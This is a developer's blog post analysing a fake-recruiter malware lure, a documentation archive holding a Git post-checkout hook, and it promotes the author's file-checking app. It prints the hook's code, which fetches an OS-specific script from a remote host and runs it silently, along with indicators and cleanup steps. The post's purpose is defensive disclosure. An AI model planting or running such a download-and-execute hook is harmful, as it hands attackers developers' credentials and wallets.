A recruiter messaged me on LinkedIn about building the website for a blockchain basketball game. Then they sent a documentation pack as a .tar.gz file. The plan was simple: review the docs, sign the NDA, then we'd schedule a call.

The docs were real enough to read. The archive also held a Git hook that would have downloaded a script and run it on my Mac the first time I checked out a branch. One of its branches was called NDA.

It follows the playbook of a campaign security researchers have been tracking for a while, called Contagious Interview: fake recruiters, web3 projects, and code that runs when a developer does something routine. With so many developers looking for work right now, I'm writing up exactly what it looked like, so it's easier to spot. I've also turned the checks into a free desktop app, LookFirst, so anyone who receives files like these can check them, terminal or not.

The offer

Nothing about the pitch was strange on its own:

  • A real-sounding project. A blockchain basketball game whose client was "already in development", looking for someone to build its website: sign-up, deposits, and download pages.
  • A polished README. Status tags, a reading order, an MVP scope, acceptance criteria. It read like a team that knew what it wanted.
  • An NDA before anything else. "No playable builds, private repos, wallets, keys, or staging credentials until the NDA is signed." That sounds careful. It also gives you a reason to go looking for the NDA.
  • An archive, not a link. Instead of a GitHub repository, I got a compressed copy of one, with its .git folder included.

That last point is the one that matters, and it's easy to miss. I'll come back to it.

Looking before opening

I looked inside before extracting it. tar can list an archive and print single files from it without writing anything to disk:

tar -tzf pack.tar.gz # list every file tar -xOf pack.tar.gz \ pack/.git/hooks/post-checkout # print one file to the screen tar -tvzf pack.tar.gz \ pack/.git/hooks/post-checkout # show its permissions 

None of these runs anything. The listing showed the docs, a .git folder, and inside it a hook that isn't one of Git's samples: .git/hooks/post-checkout. Its permissions were -rwxrwxrwx, executable by anyone.

What the hook does

Git runs post-checkout by itself after a git checkout or git switch. This one opens with a long, tidy comment explaining that it only reads the latest commit message to detect "a Chrome or Mozilla extension history update" and writes a marker file. Then it does the detection:

PATTERN_A='(chrome|chromium|mozilla|firefox).*(extension|addon).*(history|update)' PATTERN_B='(extension|addon).*history.*(chrome|chromium|mozilla|firefox)' if echo "$HEAD_LOG" | grep -qiE "${PATTERN_A}|${PATTERN_B}"; then MATCHED=1 fi if [ "$MATCHED" -eq 0 ]; then MATCHED=1 fi 

If the message doesn't match, it sets MATCHED=1 anyway. And nothing after that even reads MATCHED. The whole "extension history" story is decoration, there to make the file look boring to anyone who skims it. The real work comes next (trimmed):

case "$(uname -s)" in Darwin*) URL="https://zenithflow-ext123456.vercel.app/api/m" ;; Linux*) URL="https://zenithflow-ext123456.vercel.app/api/l" ;; MINGW*|MSYS*|CYGWIN*|Windows_NT*) URL="https://zenithflow-ext123456.vercel.app/api/w" ;; esac curl -fsSL "$URL" -o "$TMP_DIR/run-command.sh" # or wget echo "213515" > "$TMP_DIR/.git-checker" chmod +x "$TMP_DIR/run-command.sh" "$TMP_DIR/run-command.sh" > /dev/null 2>&1 & exit 0 
  1. It works out whether you're on macOS, Linux, or Windows.
  2. It downloads a script made for your system from a Vercel app.
  3. It makes the script executable and runs it in the background, with all output thrown away.
  4. It exits successfully, so the checkout looks completely normal.

I didn't fetch the script, so I can't say what it does. In the reports on this campaign, that second stage steals credentials, browser data, and crypto wallets, and installs a backdoor.

Why an archive, and why an NDA branch

git clone never copies hooks. A repository's .git/hooks folder stays on the machine that made it; a clone gets Git's harmless samples instead. So a hook can't reach you through a GitHub link. It can reach you through an archive of someone's .git folder, which is exactly what I was sent.

Then something has to trigger it. A post-checkout hook runs when you switch branches. The README told me to sign the NDA before anything else, and the repository had a branch called NDA. Reading it the obvious way, git checkout NDA, or one click on that branch in VS Code, GitHub Desktop, or any other Git app, would have run the hook. Nobody had to ask me to run anything.

The campaign it matches

Researchers call it Contagious Interview and attribute it to North Korean operators. It targets developers, especially in crypto, fintech, and web3, through fake recruiters and "assessments" that run code when the candidate does something ordinary: installs dependencies, opens the folder in VS Code, or uses Git. OpenSourceMalware reported in May that the group had started hiding its loader in Git hooks, with the same shape as mine: check uname -s, fetch a per-OS script from a Vercel app, hide the output, exit 0.

Mine differs in the delivery. Their sample was a .githooks/pre-commit file that needed a setup step to turn on. Mine came already installed in .git/hooks, and waited for a checkout. I can't prove who sent it. What I can say is that the playbook is the same.

I asked the recruiter why a documentation repo needed a hook that downloads and runs a script. I didn't get an answer.

Red flags, in order of how early you see them

  • The project is web3, crypto, or a blockchain game, and the role is broad or vague.
  • You're sent files before any call, especially an archive rather than a link to a repository.
  • The archive includes a .git folder. A pack of documents doesn't need one.
  • There's a step that needs you to touch the files (an NDA on a branch, a setup script, a "quick test") before you've spoken to a person.
  • The account or company is hard to verify: a new profile, no team you can find, a website that's a single page.

None of these proves anything alone. Two or three together are a reason to slow down.

How to check anything a recruiter sends you

The quick way: drop it on LookFirst. I turned everything below into a free app for macOS, Windows and Linux, LookFirst. Drop an archive or a folder on it, and it tells you in plain words whether anything inside would run by itself, and when. If there's a Git repository inside, it checks every branch and tag too, without running Git. On the archive I was sent, it flagged the hook straight away, and found nothing else on the NDA branch. It also recognises the two attacks I wrote about before this one, PolinRider and the Shai-Hulud npm worm, by their files, their markers and the infected package versions in a lockfile, and says which one it found.

You can also browse the files as plain text, on any branch. The viewer marks what code editors don't show: invisible characters that make code read differently from how it runs, and code pushed off the right edge of the screen with long runs of spaces. It reads .zip, .tar and .7z files in place, never extracts or runs anything, and nothing leaves your computer.

LookFirst checking a test pack built like the one I was sent: it warns "Don't open this" about a Git hook, a VS Code task on the NDA branch that matches the PolinRider campaign and a program pretending to be a PDF, opens the task to its folder-open command, then shows a script with hidden direction-reversing characters and code pushed off-screen by spaces, both marked.

LookFirst on a test pack built like the one I was sent.

It's meant for the people who receive these files as much as for developers: a recruiter or business developer who gets "the project files" shouldn't need a terminal to check them. The app isn't code-signed yet, so the first launch needs one extra click, which the README walks through. There's a command-line version for developers and CI too.

Or check by hand. Look before you extract. For a .tar.gz, tar -tzf lists it and tar -xOf <archive> <file> prints one file. For a .zip, unzip -l and unzip -p do the same.

Look for the places code runs without you running it. These are the ones I've now seen used:

File Runs when
.git/hooks/* (anything without .sample) You commit, check out, merge, or push
core.hooksPath in .git/config Points Git at a different folder of hooks
.vscode/tasks.json with "runOn": "folderOpen" You open the folder in VS Code
.claude/settings.json with hooks You start a Claude Code session
scripts in package.json (preinstall, postinstall) You run npm install

If you have to use Git on it, turn hooks off for the command:

git -c core.hooksPath=/dev/null checkout NDA 

Better still, delete the .git folder and read the files as plain text, or ask for a repository link. And if a test really does need you to run code, do it in a throwaway virtual machine with no SSH keys, browser profiles, or wallets on it.

If you already ran it

If you checked out a branch in a repository like this, assume the second stage ran:

  1. Disconnect the machine, and look for the files this hook leaves behind: ls -la "${TMPDIR:-/tmp}"/run-command.* "${TMPDIR:-/tmp}"/.git-checker.
  2. From a different, clean device, revoke and replace everything the machine could reach: GitHub and npm tokens, SSH keys, cloud keys, saved browser passwords and sessions.
  3. Move any crypto to a new wallet created on a clean device. Wallets are the main target.
  4. Get the machine checked, or reinstall it. A backdoor won't show up as a file in your project.

Indicators from my sample, in case they help someone search: post-checkout hook, zenithflow-ext123456[.]vercel[.]app with paths /api/m, /api/l and /api/w, and a marker file .git-checker containing 213515. Expect the URL and the project to change between victims; the shape of the hook is what stays the same.

Three in a month

In October, malware was force-pushed into my repos as a VS Code task. Then I wrote about a worm on npm that plants a Claude Code hook next to one. Now a Git hook, delivered as a job offer.

Each time, the trick was the same: put code in a file that one of your tools runs for you, then wait for you to do something ordinary. A job search is a lot of ordinary steps with a lot of strangers' files. Look inside them first, or let LookFirst do it.

Sources: OpenSourceMalware: Lazarus Group uses Git hooks to hide malware, CSO Online: Contagious Interview attackers go full stack to fool developers, Git documentation: githooks.